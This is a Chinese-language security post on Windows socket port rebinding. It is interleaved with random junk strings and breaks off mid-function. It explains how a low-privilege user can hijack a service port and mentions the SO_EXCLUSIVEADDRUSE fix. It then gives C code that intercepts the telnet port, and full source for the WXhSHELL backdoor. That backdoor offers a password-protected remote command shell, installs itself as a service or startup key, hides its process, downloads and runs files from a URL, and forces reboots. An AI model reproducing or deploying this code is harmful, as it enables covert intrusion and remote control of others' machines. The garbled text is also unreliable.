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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "Y
=;.:qe s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1QcNp(MO dk#k bG; saddr.sin_family = AF_INET; ]___M !&y8@MD15 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~*&H$6NJS Ju!]&G8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <e=#F-DE # Yj 1w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bQg:zww Ha0M)0Anv 这意味着什么?意味着可以进行如下的攻击: p J!
mw\: /!yU!`bY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OhQgF %op**@4/t\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q^9_'t}X )Pa'UGY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ah4N|zJ>v Ct <udO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 H7&8\FNa FF`T\&u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c \J:![x Y1W1=Uc uk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 urs,34h ~tS Z%q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J9--tJ?[>o G#q@v(_b #include TTX5EDCrC #include i4Q@K,$ #include O'p9u@kc #include Uou1mZz/ DWORD WINAPI ClientThread(LPVOID lpParam); #?aPisV
X> int main() mUAi4N { MC&` oX[ WORD wVersionRequested; 93)sk/j DWORD ret; zlSNfgO WSADATA wsaData; ntX3Nt_n BOOL val; :\`o8` SOCKADDR_IN saddr; }#RakV4 SOCKADDR_IN scaddr; av8B-GQI*# int err; Hh3X
\ SOCKET s; A7Cm5>Y_S SOCKET sc; Ytp(aE: int caddsize; #1A.?p HANDLE mt; !OhC/f(GBZ DWORD tid; R6<X%*&% wVersionRequested = MAKEWORD( 2, 2 ); D
:4[~A err = WSAStartup( wVersionRequested, &wsaData ); 1APe=tJ if ( err != 0 ) { aB2FC$z printf("error!WSAStartup failed!\n"); GE:vp>>}` return -1; 2. NN8PPD" } DZ3wCLQtK saddr.sin_family = AF_INET; V# }!-Xj }1L4"}L. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,B*EVN [:
n'k saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +5g_KS saddr.sin_port = htons(23); &T?RZ2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oz\!V*CtK { K-^\"
W8 printf("error!socket failed!\n"); q5J5> return -1; Gt8M&S-; } X&.ArXn* val = TRUE; *2>&"B09` //SO_REUSEADDR选项就是可以实现端口重绑定的 ;>U2|>5V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '2A)}uR { 3V+] 9; printf("error!setsockopt failed!\n"); 8?B!2 return -1; !]A } 0I-9nuw,^; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r Xt}6[S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g>E LGG|Q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TM__I\+Q n$A9_cHF7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) imhwY#D { <6%?OJhp ret=GetLastError(); 58}U^IW printf("error!bind failed!\n"); 6IN
e@ return -1; U#7#aeI } p}}R-D&K listen(s,2); x xHY+(m while(1) S1T"Z{$ { <VMGTBVQ caddsize = sizeof(scaddr); D=A&+6B@- //接受连接请求 XAD- 'i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Si4!R+4w if(sc!=INVALID_SOCKET) #ZUI)9My@ { p#ZCvPE;uH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )J o:pkM if(mt==NULL) *nT<m\C6 { t5^{D>S1 printf("Thread Creat Failed!\n"); %?1ew break; 9!ngy*\x } RN1y^` } ].avItg CloseHandle(mt); r8t}TU>C } j7Yu>cr closesocket(s); @Myo'{3vF WSACleanup(); Q^P}\wb> return 0; nUaJzPl } S3C]AhW; DWORD WINAPI ClientThread(LPVOID lpParam) )rIwqUgp6\ { j.[.1G*(" SOCKET ss = (SOCKET)lpParam; zF`0J SOCKET sc; &Q/ W~)~ unsigned char buf[4096]; L8@f-Kk SOCKADDR_IN saddr; KWbI'}_z long num; ;HfmzY( DWORD val; '?{OZXg DWORD ret; EgEa1l!NSQ //如果是隐藏端口应用的话,可以在此处加一些判断 dM.f]-g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 pHGYQ;:L saddr.sin_family = AF_INET; B B{$&Oh saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]6,\r" saddr.sin_port = htons(23); O0x,lq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mX"oW_EK { 4!{KWL`A printf("error!socket failed!\n"); RXMISt3+{y return -1; /aCc17>2V{ } #Qw0&kM7I val = 100; .fqN|[> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?6!JCQJ< { dZl5Ic ret = GetLastError(); )N{Pw$l_ return -1; G{~J|{t\yz } (Bb5?fw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EmWn%eMN { AG
nxYV"p ret = GetLastError(); fivw~z|[@ return -1; zy?|ODM } 3)wN))VBX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b<[Or^X
] { *uRBzO} printf("error!socket connect failed!\n"); k!j5tsiR closesocket(sc); ^]Y>[[ closesocket(ss); 0@0w+&*"@ return -1; 4&lv6`G ` } D(op)]8 while(1) W\$`w { H064BM //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /|m2WxK) //如果是嗅探内容的话,可以再此处进行内容分析和记录 <Xhm`rH //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ];$L &5^ num = recv(ss,buf,4096,0); s*KhF'fN if(num>0) XAKs0*J> send(sc,buf,num,0); h]&GLb&<? else if(num==0) hg]]Ok~cAs break; 5J.bD)yrP num = recv(sc,buf,4096,0); #6aW9GO if(num>0) #<"~~2? send(ss,buf,num,0); JPI3[.o else if(num==0) +zN-!5x break; IJp-BTO{V } dh\'<|\K closesocket(ss); G^|:N[>B closesocket(sc); =+-UJo5 return 0 ; oAVnK[EMq` } wc@X.Q[ e`_LEv &ee~p&S,> ========================================================== s-!ArB, #pow ub 下边附上一个代码,,WXhSHELL e;q!6% J7$5s ========================================================== @Sn(lnlB mfn,Gjt3O #include "stdafx.h" LzKj=5'Y ?#G$=4;i #include <stdio.h> uk:(pZ-uJ #include <string.h> 2DDtu[} #include <windows.h> 'W^YM@ #include <winsock2.h> .k%72ez #include <winsvc.h> ,.8KN<A2]' #include <urlmon.h> vzAax k% epe)a #pragma comment (lib, "Ws2_32.lib") oUlY?x1 #pragma comment (lib, "urlmon.lib") @CL{D:d Y;M|D'y+ #define MAX_USER 100 // 最大客户端连接数 1z4OI6$Af #define BUF_SOCK 200 // sock buffer BsDn5\q #define KEY_BUFF 255 // 输入 buffer #$07:UJ B)g[3gQ #define REBOOT 0 // 重启 h
0Q5-EA #define SHUTDOWN 1 // 关机 !dnH7" OU_gdp #define DEF_PORT 5000 // 监听端口 M#6W(|V/ 7hcYD!DS #define REG_LEN 16 // 注册表键长度 <oV(7 #define SVC_LEN 80 // NT服务名长度 7M~K,E(7~ %3-y[f // 从dll定义API ,AFu C< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9G5rcYi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %JBz5G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dt]-,Y
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R4cM%l_#W nPl?K:( // wxhshell配置信息 `i*E~'
struct WSCFG { &i6mW8l int ws_port; // 监听端口 n0 {i&[I~+ char ws_passstr[REG_LEN]; // 口令 9wwqcx)3( int ws_autoins; // 安装标记, 1=yes 0=no '[:D$q; char ws_regname[REG_LEN]; // 注册表键名 ~rKrpb]ow char ws_svcname[REG_LEN]; // 服务名 I; |B.j char ws_svcdisp[SVC_LEN]; // 服务显示名 s Y Qk char ws_svcdesc[SVC_LEN]; // 服务描述信息 %/.b~|,- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;bib/ int ws_downexe; // 下载执行标记, 1=yes 0=no 8qTys8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" dn+KH+v char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s} ;{ZAtE E6ElNgL }; Rtl"Ub@HV zu{P#~21 // default Wxhshell configuration PiIpnoM struct WSCFG wscfg={DEF_PORT, 4F'LBS]=0 "xuhuanlingzhe", AjMh,@ 1, E,U+o $ "Wxhshell", !)0;&e5 "Wxhshell",
xF'EiX ~ "WxhShell Service", $ @`V "Wrsky Windows CmdShell Service", ] 72`}; "Please Input Your Password: ", v MH 1, b9HtR -iR; " http://www.wrsky.com/wxhshell.exe", 7'V@+5 "Wxhshell.exe" [!#L6&:a8 }; VU]`&`~J k"zv~`i' // 消息定义模块 7*A],:-q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; { @{']Y char *msg_ws_prompt="\n\r? for help\n\r#>"; qiBVGH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9F;>W ET char *msg_ws_ext="\n\rExit."; G@X% +$I char *msg_ws_end="\n\rQuit."; K;H&n1 char *msg_ws_boot="\n\rReboot..."; R"t,xM char *msg_ws_poff="\n\rShutdown..."; Hd ={CFip char *msg_ws_down="\n\rSave to "; !``,gExH FHg
9OI67 char *msg_ws_err="\n\rErr!"; <^jQo<kU char *msg_ws_ok="\n\rOK!"; "e>;'%W )g%d:xI char ExeFile[MAX_PATH]; /%1ON9o> int nUser = 0;
|TH\`U HANDLE handles[MAX_USER]; ,<P
vovg_ int OsIsNt; :{l_FY436 Jk
n>S#SZ SERVICE_STATUS serviceStatus; 3~{:`[0Q SERVICE_STATUS_HANDLE hServiceStatusHandle; uZKr E4/Dr}4 // 函数声明 xOmi\VbM int Install(void); wJo}!{bN int Uninstall(void); w;amZgD> int DownloadFile(char *sURL, SOCKET wsh); ~HsJUro int Boot(int flag); N5
6g+,w%) void HideProc(void); Z=o2H Bm7 int GetOsVer(void); 3bH'H*2 int Wxhshell(SOCKET wsl); }9OC,Y8?D void TalkWithClient(void *cs); j6 z^Tt12 int CmdShell(SOCKET sock); y?? XIsF int StartFromService(void); x
g int StartWxhshell(LPSTR lpCmdLine); vXZOy%$o '_FsvHQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f46t9dxp$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); PKiy5D*8p =-n}[Y}A // 数据结构和表定义 nmKp[-5 SERVICE_TABLE_ENTRY DispatchTable[] = 9qzHS~l { eru.m+\ {wscfg.ws_svcname, NTServiceMain}, r[iflBP {NULL, NULL} ;[OH(! }; '7@zGk##( ~=l;=7 T // 自我安装 7;wd(8 int Install(void) . 3T3EX|G { ( ^Nz9{ char svExeFile[MAX_PATH]; 5<Nx^D HKEY key; =m#?neop strcpy(svExeFile,ExeFile); `+:`_4 Fywv // 如果是win9x系统,修改注册表设为自启动 =dYqS[kJW if(!OsIsNt) { k,+0u/I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "J_9WUN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >_ T-u<E RegCloseKey(key); s9DYi~/, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h
J)h\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -gX1-,dE RegCloseKey(key); $B5aje}i return 0; tFOhL9T } w+u3*/Zf } -X2Buz8 } 9EibIOD^/ else { I:1C8*/ `7V]y- // 如果是NT以上系统,安装为系统服务 56kI
5: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kJT)r6 if (schSCManager!=0) ;"-&1qHN { ,(^*+G.i SC_HANDLE schService = CreateService ope^~+c~\ ( ~dTrf>R8M schSCManager, x7<K<k;s wscfg.ws_svcname, M gi,$H wscfg.ws_svcdisp, @Z:l62l=bE SERVICE_ALL_ACCESS, 6A+nS= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mtcw#D SERVICE_AUTO_START, T!)(Dv8@F SERVICE_ERROR_NORMAL, {q^[a-h> svExeFile, i2SR{e8:GF NULL, H9Q&tl9 NULL, O5T{eBo\ NULL, p}U ~+:v NULL, Yufc{M00 NULL $suzW;{# ); -;WGS o if (schService!=0) B>P{A7Q { )R1<N CloseServiceHandle(schService); ^RIl CloseServiceHandle(schSCManager); 0[W:d=C`a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U26}gT) strcat(svExeFile,wscfg.ws_svcname); 5vnrA'BhBU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4zFW-yy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @?]RBX?a RegCloseKey(key); A;?|&`f return 0; RPL:- } P.9>z7l{ } lA8`l>I CloseServiceHandle(schSCManager); ]Gq !`O1 } ml
}{|Yz } A_q3KB!$=+ U9MxI%tb return 1; ((M>s&\y*Y } AFE~
v\Gz d<P\&!R( // 自我卸载 NyNXP_8 int Uninstall(void) ' %o#q6O { WX3-\Y5E HKEY key; "87:?v[[1 =fFP5e [' if(!OsIsNt) { sdw(R#GE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]0&i]z[. RegDeleteValue(key,wscfg.ws_regname); Se =`N RegCloseKey(key); ,.FxIl] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %6f*{G
w RegDeleteValue(key,wscfg.ws_regname); /aZ`[m2 RegCloseKey(key); z*%q@]ym return 0; smo~7; } B
\2SH%\ } onxLyx|A } toC^LZgZ_6 else { L)
T (< Qh\60f>0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a<bwzX|. if (schSCManager!=0) T1=fNF { "@2-Zdrr1< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S;`A{Mow if (schService!=0) Q>Yjy!.<^ { _KAQ}G3 if(DeleteService(schService)!=0) { ]Er$*7f CloseServiceHandle(schService); ;>7De8v@@ CloseServiceHandle(schSCManager); Q*~]h;6\{d return 0; z!9-: } >e$PP8&i_T CloseServiceHandle(schService); TAW/zpps$ } ]N F[>uiW CloseServiceHandle(schSCManager); }:)&u|d_ } #?:l b1 } gc$l^`+M |aq"#Ml) return 1; JDT`C2-Q } -6B4sZpzD r mg}N // 从指定url下载文件 7J<5f) int DownloadFile(char *sURL, SOCKET wsh) -e:`|(Mo { P\k# >}} HRESULT hr; iGB}Il) char seps[]= "/"; Mb~F%_ char *token; C]A.i2o8 char *file; yD}B%\45 char myURL[MAX_PATH]; l!u_"I8j5 char myFILE[MAX_PATH]; g]0_5?i 3)ywX&4"L strcpy(myURL,sURL); ^k9I(f^c-_ token=strtok(myURL,seps); {3aua:q while(token!=NULL) -ZLJeY L { #KZBsa@p file=token; G" "ZI$` token=strtok(NULL,seps); f%}xO+.s } s?nR 4 (<C3Vts)) GetCurrentDirectory(MAX_PATH,myFILE); oNF6<A(@$ strcat(myFILE, "\\"); pFjK}JOF strcat(myFILE, file); *J`O"a send(wsh,myFILE,strlen(myFILE),0); ZPYS$Ydy send(wsh,"...",3,0); Xc&9Glf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qzw;i8n{ if(hr==S_OK) /mzlH return 0; i=2N;sAl else P5ywhw- return 1; 3(80:@| f4|rVP|x } qUb& t"oeQ*d% // 系统电源模块 I-l_TpM) int Boot(int flag) &{t,' [ u { M9%$lCl
HANDLE hToken; I%KYtv~` TOKEN_PRIVILEGES tkp; e+fN6v5pU NK
H@+,+V if(OsIsNt) { C$`tbq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3/eca LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j?4qO]_Wx+ tkp.PrivilegeCount = 1; 5`p.#
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uoh7Sz5!^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;9QEK]@ if(flag==REBOOT) { p9-K_dw3X@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AFwdJte9e return 0; uQKT } 63IM]J else { a9Zq{Ysj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [(7S .5I return 0; ]Zh%DQ } SOA,kwHRe } 5\VWC I else { c@L< Z` u if(flag==REBOOT) { U| R_OLWAg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H0vfUF53l return 0; 8Z=R)asGS } |M;7>'YNC* else { =[ 7A v> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8zW2zkv2|# return 0; +9sQZB# ( } [j+sC* } U 8$27jq ~})e?q;b return 1; 1 [Bk%G@D& } 1T
n} ?(_08O // win9x进程隐藏模块 QQc -Ya!v void HideProc(void) 1EX;MW-p<T { E}Uc7G *MW\^PR? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >uEzw4w if ( hKernel != NULL ) &s>Jb?_5Mx { S)"Jf? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,f?*{Q2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {(Es(Sb}c FreeLibrary(hKernel); k)TpnH! " } XfIJ4ZM5 Y"$xX8o return; deh*Ib:(S } )J(6xy S~G]~gt // 获取操作系统版本 +D*Z_Yh6 int GetOsVer(void) >9Vn.S { }4X0epPp;: OSVERSIONINFO winfo; ]7c=PC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rEz^ GetVersionEx(&winfo); ZXPX,~ 5o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p0eX{xm return 1; JC}D`h else
|-~Y#] return 0; Pr
C{'XDlU } a(ZcmYzXU |CbikE}kL // 客户端句柄模块 @BMx!r5kn int Wxhshell(SOCKET wsl) goWuw}? { \cM2k- SOCKET wsh; lr&a;aZp struct sockaddr_in client; V>rU.Mp
QU DWORD myID; AFt s( %E;'ln4h&, while(nUser<MAX_USER) Qn2&nD%zi { buHJB*?9 int nSize=sizeof(client); Q22 GIr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +&H4m=D-#a if(wsh==INVALID_SOCKET) return 1;
K3l95he ` 5>b:3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kD"{g#c if(handles[nUser]==0) NvX[zqNP_R closesocket(wsh); E _|<jy$` else <IW$m!{VG nUser++; @IZnFHN } ~pky@O#b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uCB=u[]y4 ;722\y(Y return 0; z\4.Gm- } `uTmw^pZX 1G`Pmh@ // 关闭 socket <wHP2|<l* void CloseIt(SOCKET wsh) >/6 _ ^ { {id4:^u&; closesocket(wsh); u)Whr@m nUser--; %!#azI ExitThread(0); ]hV*r@d } &BSn? iH'p>s5L // 客户端请求句柄 hgE71H\s void TalkWithClient(void *cs) w&.aQGR# { Gav$HLx h;'~,xA SOCKET wsh=(SOCKET)cs; 0b 54fD= char pwd[SVC_LEN]; #T"4RrR char cmd[KEY_BUFF]; q ZZK#,Qb char chr[1]; )Q JUUn# int i,j; (**oRwr% ]eV8b*d6 while (nUser < MAX_USER) { K:WDl;8(d 62NsJ<#> if(wscfg.ws_passstr) { b#o|6HkW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]/{)bpu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A]3k4DLYS //ZeroMemory(pwd,KEY_BUFF); \GU<43J2uo i=0; b\5F ]r while(i<SVC_LEN) { !bP@n
{K!)Ss // 设置超时 TkF[x%o fd_set FdRead; bW:!5"_{H struct timeval TimeOut; IAyp 2 FD_ZERO(&FdRead); >@Kx>cg+ FD_SET(wsh,&FdRead); 5IpDeJ$ TimeOut.tv_sec=8; |1Z)E+q*: TimeOut.tv_usec=0; 9jGu}Vo int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -F3-{E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EiaW1Cs wdoR%b{M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dgP3@`YS pwd =chr[0]; #p{4^ if(chr[0]==0xd || chr[0]==0xa) { c[s4EUG pwd=0; (w zQ2Dk break; ?r!o~|9| } *OQ2ucC8j i++; - !
S_ryL } f)<6 x|29L7i // 如果是非法用户,关闭 socket CU~PT. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kf-JcBsrT } 7x8
yxE (QiAisE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fTX;.M/%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UL9n-M= ,]/X\t5]D while(1) { TJ*T:?>e \^1E4C\": ZeroMemory(cmd,KEY_BUFF); . 'yCw#f $`'/+x"% // 自动支持客户端 telnet标准 EBmt9S j=0; d0 /#nz while(j<KEY_BUFF) { ll?X@S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .o}v#W+st cmd[j]=chr[0]; wS3'?PRX if(chr[0]==0xa || chr[0]==0xd) { a09<!0Rp cmd[j]=0; 9Gz=lc[!7 break; >5SSQ\ 2~a } lUMdrt0@z j++; \.}c9*) } x$(f7?s] 1 HtYwEj I // 下载文件 e8b:)"R if(strstr(cmd,"http://")) { Vf1^4t send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dum9lj if(DownloadFile(cmd,wsh)) N4HqLh23H send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|T'0_' else Z$? # send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^d73Ig:8q } Jfl!#UAD|n else { 6-ils3& <=C?e<Y switch(cmd[0]) { j_7mNIr t.C5+^+% // 帮助 H" 7u7l case '?': { k~z Iy;AZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g#E-pdY break; pI<f) r } l}M!8:UzU // 安装 1yY0dOoLG) case 'i': { S`Rs82> if(Install()) [=`q>|;pOv send(wsh,msg_ws_err,strlen(msg_ws_err),0); hK|Ul]qI else 8Xs8A. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I1&aM}y{G break; MnW+25=N } {BU;$ // 卸载 #A8sLkY case 'r': { *}W_+qo" if(Uninstall()) 8*a&Jl send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~q <N else Yu2Bkq+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ht}wEvv break; uFga~g } #gw]'&{8D // 显示 wxhshell 所在路径 /;
85i6 case 'p': { IV)j1 char svExeFile[MAX_PATH]; jmW7)jT8: strcpy(svExeFile,"\n\r"); n'6jou strcat(svExeFile,ExeFile); +X]vl=0 send(wsh,svExeFile,strlen(svExeFile),0); 7"D.L-H break; )@bQu~Y } 3"\l u?-E // 重启 Pj%|\kbNs case 'b': { VJll send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Y}8S/] if(Boot(REBOOT)) mpJ#:}n send(wsh,msg_ws_err,strlen(msg_ws_err),0); x]ot 2 else { &b& , closesocket(wsh); ^_mj ExitThread(0); y4fdq7i~}9 } 9=2$8JN=(l break; 0_t!T'jr7 } b>JDH1) // 关机 qJUK_6|3 case 'd': { y:l\$pGC% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {.mngRQF if(Boot(SHUTDOWN)) $ L]lHji send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@hw.Xq" else { u\JNr}bL closesocket(wsh); +=8VTCn? ExitThread(0); l1Fc>:o{ }
M\Kx'N break; m`r(p" } 3=ymm^ // 获取shell u> 7=AlWF- case 's': { 9'q*:&qq CmdShell(wsh); <Q?F?.^e closesocket(wsh); UFuX@Lu0 ExitThread(0); $iz|\m break; 4+ Z]3oIRE } 5/Uy{Xt // 退出 0{ R=9wcc case 'x': { '2^Q1{ :\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6)Lk-D CloseIt(wsh); tIgN$BHR> break; cYt!n5w~W } ?FcAXA/J{ // 离开 Th%Sjgsn case 'q': { y'*K|aTG send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Xy6PN8 closesocket(wsh); 4{`{WI{ WSACleanup(); =rX>.P%Q 5 exit(1); ~qOa\#x_ break; }vM("v|M } R~$qo)v } V~5jfcd } aw42oLk }`~+]9< // 提示信息 ^J;bso` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }pu27F)& } LFtt gY } %bfQ$a: <UQbt N-B\ return; '."ed%=MC } 3$9W%3 HA>OkA/ // shell模块句柄 n7-6-
# int CmdShell(SOCKET sock) <e</m)j { B`J~^+`[* STARTUPINFO si; {{p7 3
'u ZeroMemory(&si,sizeof(si)); X}\:_/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3/n5#&c\4 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jz e:[MYS PROCESS_INFORMATION ProcessInfo; )P|),S,;Z char cmdline[]="cmd"; omBoo5e CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s!7y return 0; k+pr \d ~ } `+Q%oj#FF j8lb~0JD // 自身启动模式 ?<'}r7D int StartFromService(void) #4 pB@_ { hQDXlFHT typedef struct r\V
={p { U\*J9 DWORD ExitStatus; AkQ~k0i}b DWORD PebBaseAddress; !d0kV,F: DWORD AffinityMask; Y`SvMkP)+ DWORD BasePriority; D!IY&H,wo ULONG UniqueProcessId; _"rgET`vW ULONG InheritedFromUniqueProcessId;
Z>5b;8 } PROCESS_BASIC_INFORMATION; ;hN!s`vq *CI#+P PROCNTQSIP NtQueryInformationProcess; 5]Y?m' }S<2A7)el static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kL"2=7m; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '$%l7 4@#
`t5H HANDLE hProcess; ._{H~R| PROCESS_BASIC_INFORMATION pbi; %Y*Ndt 4
